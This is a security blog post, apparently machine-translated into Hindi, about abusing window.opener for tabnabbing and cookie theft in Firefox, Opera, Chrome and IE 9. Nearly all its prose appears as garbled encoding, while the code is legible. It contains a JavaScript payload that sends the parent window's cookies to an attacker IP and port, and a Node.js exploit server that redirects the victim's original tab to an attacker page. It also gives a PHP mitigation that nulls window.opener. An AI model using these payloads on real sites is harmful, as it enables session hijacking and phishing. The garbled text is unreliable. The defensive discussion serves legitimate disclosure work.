рдПрдХ рдЯреИрдЧ рди рдХреЗрд╡рд▓ рдореВрд▓реНрдпрд╡рд╛рди рдлрд░ рд╣реИ, рдмрд▓реНрдХрд┐ window.opener рдХрд╛ рдЖрд░рдВрдн рднреА рд╣реИред
рдЗрд╕ рд▓реЗрдЦ рдореЗрдВ, рдЖрдкрдХреЛ рдЗрд╕ рдЯреИрдЧ рдХреА рдПрдХ рд╡рд┐рд╢реЗрд╖рддрд╛ рдФрд░ рд╕рдорд╕реНрдпрд╛ рдХреЛ рд╣рд▓ рдХрд░рдиреЗ рдХреЗ рддрд░реАрдХреЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдПрдХ рдХрд╣рд╛рдиреА рдорд┐рд▓реЗрдЧреАред
рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐
рдпрд╣ рд╕рдм рдПрдХ рд╕рд╛рд▓ рд╕реЗ рднреА рдХрдо рд╕рдордп рдкрд╣рд▓реЗ рд╢реБрд░реВ рд╣реБрдЖ рдерд╛ред рдореИрдВрдиреЗ рджреЗрдЦрд╛ (рдкрд╛рдпрд╛) рдХрд┐ рдПрдХ рдирдИ рд╡рд┐рдВрдбреЛ рдореЗрдВ рд╣рд╛рдЗрдкрд░рд▓рд┐рдВрдХ рдЦреЛрд▓рдирд╛ рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ window.opener рдХреЛ рдЖрд░рдВрдн рдХрд░рддрд╛ рд╣реИред
рд╕рдВрджрд░реНрдн рдХреЗ рд▓рд┐рдП: window.opener рдкреИрд░реЗрдВрдЯ рд╡рд┐рдВрдбреЛ (рдкреИрд░реЗрдВрдЯ рдлреНрд░реЗрдо рдореЗрдВ), рдпрд╛рдиреА рдЙрд╕ рд╡рд┐рдВрдбреЛ рдХреЛ рдПрдХреНрд╕реЗрд╕ рдХрд░рддрд╛ рд╣реИ рдЬрд┐рд╕рдореЗрдВ рд╡рд┐рдВрдбреЛ .open () рдХрд╣рд▓рд╛рддреА рдереАредрдмреЗрд╢рдХ, рдореИрдВрдиреЗ рддреБрд░рдВрдд Google рд╢реБрд░реВ рдХрд┐рдпрд╛, рд▓реЗрдХрд┐рди рдореБрдЭреЗ рдХреБрдЫ рднреА рд╕рдордЭрджрд╛рд░ рдирд╣реАрдВ рдорд┐рд▓рд╛ред рд╕рдмрдХреБрдЫ рдареАрдХ рд╣реЛ рдЬрд╛рдПрдЧрд╛, рд▓реЗрдХрд┐рди рдЕрдЧрд░ рдПрдХ "рдмрдЯ" рдХреЗ рд▓рд┐рдП рдирд╣реАрдВ:
Window.opener рдХреЛ рдЗрдирд┐рд╢рд┐рдпрд▓рд╛рдЗрдЬрд╝ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рднрд▓реЗ рд╣реА рдбреЛрдореЗрди рдФрд░ / рдпрд╛ IP рдПрдбреНрд░реЗрд╕ рдЕрд▓рдЧ-рдЕрд▓рдЧ рд╣реЛрдВред
рджреВрд╕рд░реЗ рджрд┐рди, рдореИрдВ рдЕрдкрдирд╛ рдореЗрд▓ рд╕реЙрд░реНрдЯ рдХрд░рддрд╛ рд╣реВрдВ рдФрд░ рджреЗрдЦрддрд╛ рд╣реВрдВ рдХрд┐ рдореБрдЭреЗ рдпреИрдВрдбреЗрдХреНрд╕ рдЯреАрдо рд╕реЗ рдПрдХ рд╕рдВрджреЗрд╢ рдорд┐рд▓рд╛:
рдмрдЧ рд░рд┐рдкреЛрд░реНрдЯ, рдпрд╛ рдпреЛрдВ рдХрд╣реЗрдВ, window.opener (рдЗрд╕рдХреЗ рдмрд╛рдж wo рдХреЗ рд░реВрдк рдореЗрдВ рд╕рдВрджрд░реНрднрд┐рдд) рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╣рдорд▓реЗ рдХрд╛ рд╕реИрджреНрдзрд╛рдВрддрд┐рдХ рдЕрдиреБрдкреНрд░рдпреЛрдЧ, рдореЗрд░реЗ рджреНрд╡рд╛рд░рд╛ рд▓рдЧрднрдЧ рдПрдХ рдорд╣реАрдиреЗ рдкрд╣рд▓реЗ рдЫреЛрдбрд╝ рджрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛, рдореБрдЭреЗ рдЕрдм рдЬрд╡рд╛рдм рдХреА рдЙрдореНрдореАрдж рдирд╣реАрдВ рдереАред
рд▓реЗрдХрд┐рди рджреБрдирд┐рдпрд╛ рдПрдХ рдЕрдЬреАрдм рдЪреАрдЬ рд╣реИ, рд╣реИ рдирд╛? :)
рднрд╛рдЧ 1
рд╕рд┐рджреНрдзрд╛рдВрдд рд╕реЗ рдХрд╛рд░реНрд░рд╡рд╛рдИ рддрдХ!
рдорд╛рди рд▓реАрдЬрд┐рдП рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рдПрдХ рдкреЗрдЬ рд╣реИ рдЬрд┐рд╕рдореЗрдВ рд╣рдо рд╣рд╛рдЗрдкрд░рд▓рд┐рдВрдХ рдХреЛ рдПрдореНрдмреЗрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
рд╣рдо рдПрдХ рдХреЛрдб рд▓рд┐рдЦреЗрдВрдЧреЗ рдЬреЛ рд╣рдореЗрдВ рдЗрд╕ рднреЗрджреНрдпрддрд╛ рдХреЛ рдкреБрди: рдЙрддреНрдкрдиреНрди рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред
рдЗрд╕ рдХреЛрдб рдиреЗ рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдбреЗрдЯрд╛ рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХреЛ рдлрд╝рд┐рд▓реНрдЯрд░ рдХрд░рдирд╛ рдЫреЛрдбрд╝ рджрд┐рдпрд╛ рд╣реИред рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдЧрдард┐рдд рд▓рд┐рдВрдХ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ, рдФрд░ wo рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ, рд╣рдо рдПрдХ XSS рд╣рдорд▓рд╛ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
рдкрд░реАрдХреНрд╖рдгреЛрдВ рдХреЗ рд▓рд┐рдП, рдореИрдВрдиреЗ "рдмрдбрд╝реЗ рддреАрди" рдмреНрд░рд╛рдЙрдЬрд╝рд░реЛрдВ рдХреЛ рд▓рд┐рдпрд╛: рдУрдкреЗрд░рд╛ / 12.12, рдлрд╝рд╛рдпрд░рдлрд╝реЙрдХреНрд╕ / 18.00, рдХреНрд░реЛрдо / 23.0.127.9.97ред
рдлрд╝рд╛рдпрд░реНрдлрд╝реЙрдХреНрд╕
рддреЛ, рд╣рдо рдПрдХ рдЯреИрдЧ рдХреЗ href рд╡рд┐рд╢реЗрд╖рддрд╛ рдХреЗ рд▓рд┐рдП "рдбреЗрдЯрд╛ :, 1" рдорд╛рди рдкрд╛рд╕ рдХрд░рддреЗ рд╣реИрдВ:
рд╣рд╛рдЗрдкрд░рд▓рд┐рдВрдХ рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж, рд╣рдо рджреЗрдЦрддреЗ рд╣реИрдВ рдХрд┐ wo рдХреЛ рдЗрдирд┐рд╢рд┐рдпрд▓рд╛рдЗрдЬрд╝ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ:
рдФрд░ рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐, рд╢рд╛рдпрдж, рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рдореВрд▓ рд╡рд┐рдВрдбреЛ рддрдХ рдкреВрд░реНрдг рдкрд╣реБрдВрдЪ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХрд╛ рдЕрд╡рд╕рд░ рд╣реИред
рдпрд╣ рдХреЗрд╡рд▓ рдпрд╣ рд╕рддреНрдпрд╛рдкрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдмрдиреА рд╣реБрдИ рд╣реИред
Wo рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП, рд╣рдордиреЗ рдореВрд▓ рд╡рд┐рдВрдбреЛ рдХреЗ рдХреБрдХреАрдЬрд╝ рдХреЛ рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ рдПрдХреНрд╕реЗрд╕ рдХрд░ рд▓рд┐рдпрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдРрд╕рд╛ рдХреНрдпреЛрдВ рд╣реИ рдХрд┐ рдореИрдВ document.cookie = window.opener.document.cookie, рдИрдорд╛рдирджрд╛рд░реА рд╕реЗ рдирд╣реАрдВ рдЬрд╛рдирддрд╛ред рдореИрдВ рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдпрд╣ рд╕реБрд╡рд┐рдзрд╛ рдХреЗрд╡рд▓ рдПрдлрдПрдл рдХреЗ рд▓рд┐рдП рд╡рд┐рд╢реЗрд╖рддрд╛ рд╣реИред
рдореИрдВрдиреЗ XP SP3 рдФрд░ FF 17 рдХреЗ рд╕рд╛рде рдПрдХ рд╡реАрдПрдо рдкрд░ рдЬрд╛рдБрдЪ рдХреА, рдПрдХ рд╣реА рддрд╕реНрд╡реАрд░:
рдпрд╣ рдХреЗрд╡рд▓ рд╢реЛрд╖рдг рд▓рд┐рдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдмрдирд╛ рд╣реБрдЖ рд╣реИ, рдЬреЛ рдХреБрдХреАрдЬрд╝ (рдФрд░ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ) рдЪреЛрд░реА рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП "рдП" рдЯреИрдЧ, рдбреЗрдЯрд╛ рдФрд░ рд╡реВ рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдЧрд╛ред
рдкреЗрд▓реЛрдб:
var snif=new Image(), // ck=window.opener.document.cookie, // concat = function() { return Array.prototype.slice.call(arguments).join("")};// +, GET , JavaScript snif.src=concat('http://192.168.1.4:8081/?cok=',ck); // (192.168.1.4- IP )
рд╣рдо рдЗрд╕реЗ рд╣реЛрд╕реНрдЯ рдЪрд░ (рдбреЗрдЯрд╛ рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ, рдЕрд░реНрдерд╛рддреН: рдбреЗрдЯрд╛: рдЯреЗрдХреНрд╕реНрдЯ / html), рдкрд╛рд╕ рдХрд░рддреЗ рд╣реИрдВред рд▓рд┐рдВрдХ рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░реЗрдВ рдФрд░ рдХреБрдХреАрдЬрд╝ рдХрд╛ рдЖрдирдВрдж рд▓реЗрдВ:
рдФрд░ рдпрд╣ рд╡рд╣ рд╡рд┐рдВрдбреЛ рд╣реИ рдЬрд┐рд╕рдореЗрдВ рд╣рдорд╛рд░рд╛ рдХреЛрдб рд▓рд╛рдЧреВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛:
рдЬреИрд╕рд╛ рдХрд┐ рдЖрдк рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ, рд╣рдо рдХреБрдХреАрдЬрд╝ рдХреЛ рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ рдЪреБрд░рд╛рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рдереЗред
рдУрдкреЗрд░рд╛
рдУрдкреЗрд░рд╛ рдХреЗ рд╕рд╛рде, рдмреНрд░рд╛рдЙрдЬрд╝рд░ рд▓рдЧрднрдЧ рдлрд╝рд╛рдпрд░рдлрд╝реЙрдХреНрд╕ рдХреЗ рд╕рдорд╛рди рд╣реИред рддреЛ рдХрджрдо рд╡рд╣реА рд╣реЛрдВрдЧреЗред
рдЬрд╛рдБрдЪ рдХрд░реЗрдВ рдХрд┐ рдХреНрдпрд╛ wo рдЖрд░рдВрднреАрдХреГрдд рд╣реИ:
рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдХреНрдпрд╛ рд╣рдо рдХреБрдХреАрдЬрд╝ рдкрдврд╝ рд╕рдХрддреЗ рд╣реИрдВ:
рд╣рдо рджреЗрдЦрддреЗ рд╣реИрдВ рдХрд┐ рд╣рдо рдкрд┐рдЫрд▓реЗ рдЯреИрдм (рдореВрд▓ рд╡рд┐рдВрдбреЛ) рд╕реЗ рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ рдХреБрдХреАрдЬрд╝ рдкрдврд╝рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рдереЗред
рдпрд╣ рдЗрд╕ рднреЗрджреНрдпрддрд╛ рдХрд╛ рдлрд╛рдпрджрд╛ рдЙрдард╛рдиреЗ рдХреЗ рд▓рд┐рдП рд╣реА рд╣реИред рдкреЗрд▓реЛрдб рдХреЛрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдПрдлрдПрдл рдХреЗ рд▓рд┐рдП рд╣реА рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред
рд╣рдо рдЕрдкрдиреЗ рд╢реЛрд╖рдг рдХреЛ рдореЗрдЬрдмрд╛рди рдЪрд░ рдореЗрдВ рдкрд╛рд╕ рдХрд░рддреЗ рд╣реИрдВ рдФрд░ рдлрд┐рд░ рд╕реЗ рдХреБрдХреАрдЬрд╝ рдХреА рдкреНрд░рд╢рдВрд╕рд╛ рдХрд░рддреЗ рд╣реИрдВ:
рдПрдХ рд▓рд┐рдВрдХ рдХреЗ рд╕рд╛рде рд╡рд┐рдВрдбреЛ:
рддреЛ, рд╣рдо рдХреБрдХреАрдЬрд╝ рдХреЛ рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ рдЪреБрд░рд╛рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рдереЗред рдпрд╣ рдПрдХ рджреБрдЦрдж рд╕реНрдерд┐рддрд┐ рд╣реИ, рд▓реЗрдХрд┐рди Google Chrome рдЕрднреА рднреА рдмрдирд╛ рд╣реБрдЖ рд╣реИред
рдХреНрд░реЛрдо
Wo рддрдХ рдкрд╣реБрдВрдЪ рдХреА рдЬрд╛рдБрдЪ рдХрд░реЗрдВ:
Wo рдХреЛ рдЖрд░рдВрднреАрдХреГрдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рд▓реЗрдХрд┐рди Chrome рд╣рдореЗрдВ рдореВрд▓ рд╡рд┐рдВрдбреЛ рдХреЗ рдбреЗрдЯрд╛ рддрдХ рдкрд╣реБрдВрдЪрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рджреЗрддрд╛ рд╣реИ:
рдЕрдм рдПрдХ рдЕрд▓рдЧ рдХреЛрдг рд╕реЗ рдЗрд╕ рднреЗрджреНрдпрддрд╛ рдХреЛ рджреЗрдЦрдиреЗ рдХрд╛ рд╕рдордп рд╣реИред
рд▓реЗрдХрд┐рди рдХреНрдпрд╛ рд╣реЛрддрд╛ рд╣реИ рдЕрдЧрд░ рдбреЗрдЯрд╛ рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдлрд╝рд┐рд▓реНрдЯрд░ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ?
рдбреЗрдЯрд╛ рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХреЛ рдлрд╝рд┐рд▓реНрдЯрд░ рдХрд░рддреЗ рд╣реБрдП, рд╣рдорд╛рд░реЗ рдХреЛрдб рдореЗрдВ рдПрдХ рдЪреМрдерд╛ рдлрд╝рд┐рд▓реНрдЯрд░рд┐рдВрдЧ рдЬреЛрдбрд╝реЗрдВред
рдХреЛрдб рдлреЙрд░реНрдо рд▓реЗрдЧрд╛:
/*тАж*/ host=host.replace(/</g,'&'+'lt;'), //antiXSS host=host.replace(/>/g,'&'+'gt;'), //antiXSS host=host.replace(/javascript:/g,''), //antiXSS host=host.replace(/data:/g,''); //Data ! /*тАж*/
рдЗрд╕ рдХреЛрдб рдореЗрдВ рд╕рдВрд╢реЛрдзрди рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж, рд╣рдо рдЕрдм XSS рд╣рдорд▓реЗ рдХреЛ рдЕрдВрдЬрд╛рдо рдирд╣реАрдВ рджреЗ рдкрд╛рдПрдВрдЧреЗ, рд▓реЗрдХрд┐рди рд╣рдо рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдЧрд▓рдд рддрд░реАрдХреЗ рд╕реЗ рднреНрд░рдорд┐рдд рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реИрдВред
рднрд╛рдЧ реи
рдЕрдм рд╣рдо рдкрд╛рд╕ рдХрд░рддреЗ рд╣реИрдВ, рдореЗрдЬрдмрд╛рди рд╡реИрд░рд┐рдПрдмрд▓ рдкрд░, bad.com рдХрд╛ рд▓рд┐рдВрдХред
рдлрд╝рд╛рдпрд░реНрдлрд╝реЙрдХреНрд╕
FF 18 рдореЗрдВ, wo рдХреЛ рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ рдкреНрд░рд╛рд░рдВрдн рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рд╣рдо рдкрд┐рдЫрд▓реЗ рдлреНрд░реЗрдо (рдЯреИрдм) рдореЗрдВ рдкреНрд░рд╡реЗрд╢ рдирд╣реАрдВ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдХреНрдпреЛрдВрдХрд┐ рдбреЛрдореЗрди рдЕрд▓рдЧ рд╣реИрдВ рдФрд░ рд╕реБрд░рдХреНрд╖рд╛ рдиреАрддрд┐ рд╣рдореЗрдВ рдРрд╕рд╛ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рджреЗрддреА рд╣реИред
рдУрдкреЗрд░рд╛
рдЗрд╕ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдХреА рд╕реНрдерд┐рддрд┐ рдлрд╝рд╛рдпрд░рдлрд╝реЙрдХреНрд╕ рдХреЗ рд╕рд╛рде рд╕реНрдерд┐рддрд┐ рдХреЗ рд╕рдорд╛рди рд╣реИред
рдХреНрд░реЛрдо
Chrome рдореЗрдВ wo рддрдХ рдкрд╣реБрдВрдЪ рд╣реИ, рд▓реЗрдХрд┐рди рд╕реБрд░рдХреНрд╖рд╛ рдиреАрддрд┐ рд╣рдорд╛рд░реЗ рдЕрдзрд┐рдХрд╛рд░реЛрдВ рдХреЛ рдиреНрдпреВрдирддрдо рд░реВрдк рд╕реЗ рдХрд╛рдЯрддреА рд╣реИред
рд╣рдорд▓рд╛!
рдлрд╝рд╛рдпрд░реНрдлрд╝реЙрдХреНрд╕
рдУрд╡рд░рд░рд╛рдЗрдб:
рдУрдкреЗрд░рд╛
рдкреБрди: рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░реЗрдВ:
рдХреНрд░реЛрдо
рдУрд╡рд░рд░рд╛рдЗрдб:
рд╢реЛрд╖рдг рд▓реЗрдЦрди
рдЦреИрд░, рдЕрдЧрд░ рдХреЛрдИ рднреЗрджреНрдпрддрд╛ рд╣реИ, рддреЛ рд╢реЛрд╖рдг рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП :)
var http = require('http'); if(!process.argv[2] || !process.argv[3]){console.log('Usage: node '+process.argv[1]+' ip port');process.exit(1)} http.createServer(function (rq, rs) { rs.writeHead(200, {'Content-Type': 'text/html'}); // , 200 if(!rq.headers.referer){ // Referer rs.end(''); console.log('Referer is undefined!'); process.exit(1); } var host=require('url').parse(rq.headers.referer).hostname; // Referer' var out="<html><script>"+ "window.opener.location='http://"+process.argv[2]+":"+process.argv[3]+"/"+host+".html';"+ // "window.close()"+ // "</script></html>"; rs.end(out); // console.log('Window.opener changed!'); process.exit(1); }).listen(80) // 80
рдпрд╣ рд╕рд░рд▓ рдХреЛрдб рд╣рдореЗрдВ рдкреЗрд░реЗрдВрдЯ рдЯреИрдм рдореЗрдВ рд╕рд╛рдЗрдЯ рдХреЛ рдмрджрд▓рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред
рдореИрдВ рдПрдХ рдЖрд░рдХреНрд╖рдг рдХрд░реВрдВрдЧрд╛ рдХрд┐ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рди рдкрддреЗ рдкрд░ рдЬрд╛рдПрдЧрд╛:
рд╕рд╛рдЗрдЯ : port / referer.htmlред рдЬрд╣рд╛рдВ "рд░реЗрдлрд░рд░" рдлреЙрд░реНрдо рд╕рд╛рдЗрдЯ рдХрд╛ рдПрдХ рдореВрд▓реНрдп рд╣реИред *
рдЗрд╕ рддрдереНрдп рдХреЗ рдХрд╛рд░рдг рдХрд┐ рд╕реНрдХреНрд░реАрдирд╢реЙрдЯ рд▓реЗрдирд╛ рд╕рдорд╕реНрдпрд╛рдЧреНрд░рд╕реНрдд рд╣реЛрдЧрд╛, рдореИрдВрдиреЗ рдПрдХ рд╡реАрдбрд┐рдпреЛ рд░рд┐рдХреЙрд░реНрдб рдХрд┐рдпрд╛:
http://www.youtube.com/watch?v=Q09GA9oOEs8рд╕реБрд░рдХреНрд╖рд╛
рдареАрдХ рд╣реИ, рд╣рдордиреЗ рд╣рдорд▓реЛрдВ рдХреЗ рдЙрджрд╛рд╣рд░рдгреЛрдВ рдХреЛ рджреЗрдЦрд╛, рд▓реЗрдХрд┐рди рдЦреБрдж рдХрд╛ рдмрдЪрд╛рд╡ рдХреИрд╕реЗ рдХрд░реЗрдВ?
рдЗрд╕реЗ рд╣рд▓ рдХрд░рдиреЗ рдХреЗ рджреЛ рддрд░реАрдХреЗ рд╣реИрдВ: рдпрд╛ рддреЛ рд▓рдХреНрд╖реНрдп рд╡рд┐рд╢реЗрд╖рддрд╛ рдХреЗ рдорд╛рди рдХреЛ рдмрд╛рдзреНрдп рдХрд░реЗрдВ, рдЯреИрдЧ рдХрд░реЗрдВ, "_ рд╕реНрд╡рдпрдВ", рдпрд╛ рдбрд╛рдВрд╕ рдХреЗ рд╕рд╛рде рдПрдХ рдбрд╛рдВрд╕ рдХрд░реЗрдВ, рд▓реЗрдХрд┐рди рд▓рд┐рдВрдХ рдХреЛ рдПрдХ рдирдИ рд╡рд┐рдВрдбреЛ рдореЗрдВ рдЦреЛрд▓реЗрдВред рдЕрдиреБрдорд╛рди рдХрд░реЗрдВ рдХрд┐ рд╣рдо рдХрд┐рд╕ рд░рд╛рд╕реНрддреЗ рдкрд░ рдЬрд╛рддреЗ рд╣реИрдВ?
рдпрд╣ рдлрд┐рдХреНрд╕ рдмрд╣реБрдд рдЖрд╕рд╛рди рд╣реИ: null рдХреЛ window.opener рдЕрд╕рд╛рдЗрди рдХрд░рдирд╛ред
рд╣рдо рдПрдХ рд╕рд╛рдзрд╛рд░рдг php рдХреЛрдб рд▓рд┐рдЦреЗрдВрдЧреЗ, рдЬреЛ рдЖрдкрдХреЛ wo рдХреЛ null рдХрд░рдиреЗ рдФрд░ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рд╕рдВрд╕рд╛рдзрди рдкрд░ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред
<?php $url=str_replace('data:','',$_GET['href']); // "data:" $url=htmlspecialchars(str_replace('javascript:','',$url)); // XSS if(!$url){die();}; echo "<html>"; echo "<body>"; echo "<script>"; echo "window.opener=null;"; // wo null echo "document.location='".$url."';"; // echo "</script>"; echo "</body>"; echo "</html>"; ?>
рд╣рдо рдХреЗрд╡рд▓ рдЕрдкрдиреЗ рдХреЛрдб (1) рдореЗрдВ рд╕реБрдзрд╛рд░ рд▓рд╛рдЧреВ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
рдорд╛рди рд▓реАрдЬрд┐рдП рдХрд┐ рд╣рдорд╛рд░реА php рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реИ:
site.com/file.phpрдлрд┐рд░ рд╣рдорд╛рд░рд╛ рдХреЛрдб (1) рдлреЙрд░реНрдо рд▓реЗрдЧрд╛:
/**/ rs.end('<center><br><a href="http://site.com/file.php?href='+host+'" target="_blank">click-click</a><br>Hey, '+cookie+'! </center>'); /**/
рдФрд░ рдпрд╣рд╛рдБ рд╣рдорд╛рд░реЗ "рд╢рд░реНрдорд┐рдВрджрдЧреА" рдХрд╛ рдкрд░рд┐рдгрд╛рдо рд╣реИ:
рд╣рд╛рдВ, рдпрд╣ рдПрдХ рдЕрд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рддрд░реАрдХрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдЗрд╕ рд╕рдорд╕реНрдпрд╛ рдХрд╛ рдХреЗрд╡рд▓ рдПрдХ рд╣реА рд╕рдорд╛рдзрд╛рди рдореИрдВ рдЗрд╕ рд╕рдордп рдкреЗрд╢ рдХрд░ рд╕рдХрддрд╛ рд╣реВрдВред
рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ рдХреЛрдИ рд╡рд┐рдЪрд╛рд░ рд╣реИ, рддреЛ рдХреГрдкрдпрд╛ рдЙрдиреНрд╣реЗрдВ рдЕрдкрдиреА рдЯрд┐рдкреНрдкрдгрд┐рдпреЛрдВ рдореЗрдВ рдЫреЛрдбрд╝ рджреЗрдВред
рджреБрд░реНрднрд╛рдЧреНрдп
рдЗрд╕ рд╣рдорд▓реЗ рдХреЗ рдкреНрд░рддрд┐ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЗ рдмреАрдЪ, рдореИрдВ рдкреНрд░рдХрд╛рд╢ рдбрд╛рд▓ рд╕рдХрддрд╛ рд╣реВрдВ
рдЧреВрдЧрд▓:
рд╡рд┐рдЪрд░рдиреЗрд╡рд╛рд▓рд╛:
рд╕реВрдЪреА рдЖрдЧреЗ рдмрдврд╝рддреА рд╣реИред
рдФрд░ рд╣рд╛рдВ, рдпрд╣ рдЬрд╛рдирдХрд╛рд░реА рдХреЗрд╡рд▓ рд╕реВрдЪрдирд╛ рдХреЗ рдЙрджреНрджреЗрд╢реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП рдкреНрд░рджрд╛рди рдХреА рдЬрд╛рддреА рд╣реИред
рдЖрдкрдХреЛ рдЗрд╕реЗ рд╣рдорд▓реЛрдВ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХрд╛ рдЕрдзрд┐рдХрд╛рд░ рдирд╣реАрдВ рд╣реИ, рдЕрдиреНрдпрдерд╛ рдЖрдкрдХреЛ рд░реВрд╕реА рд╕рдВрдШ рдХреЗ рдЖрдкрд░рд╛рдзрд┐рдХ рд╕рдВрд╣рд┐рддрд╛ рджреНрд╡рд╛рд░рд╛ рджрдВрдбрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛!
рдЖрдкрдХрд╛ рджрд┐рди рд╢реБрдн рд╣реЛ!
UPD: рд╣рдо IE 9 рдореЗрдВ window.opener рд╕реЗ рдирд┐рдкрдЯрддреЗ рд╣реИрдВ (рдХреНрд╖рдорд╛ рдХрд░реЗрдВ, рдХреЗрд╡рд▓ рдпрд╣ рд╣рд╛рде рдореЗрдВ рдерд╛)
IE 9 рдХреЗ рд╕рд╛рде рдХреБрдЫ рдЪрд▓ рд░рд╣рд╛ рд╣реИ ...
рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдЗрд╕рдореЗрдВ рдХреЛрдИ рдбреЗрдЯрд╛ рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдирд╣реАрдВ рд╣реИред
рдЗрд╕рд▓рд┐рдП, рд╣рдо wo рдХреЛ рдлрд┐рд░ рд╕реЗ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВрдЧреЗ
рд╣рдо рд▓рд┐рдВрдХ рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░рддреЗ рд╣реИрдВ рдФрд░ рджреЗрдЦрддреЗ рд╣реИрдВ рдХрд┐ wo рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ рдЖрд░рдВрдн рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ:
Wo рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдб рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢:
рдХреБрдЫ рднреА рдирд╣реАрдВ, рд╢реВрдиреНрдп рднрд╛рд╡рдирд╛рдПрдБред
рд▓реЗрдХрд┐рди рдЕрдЧрд░ рдЖрдк рдкрд┐рдЫрд▓рд╛ рдЯреИрдм рдЦреЛрд▓рддреЗ рд╣реИрдВ, рддреЛ:
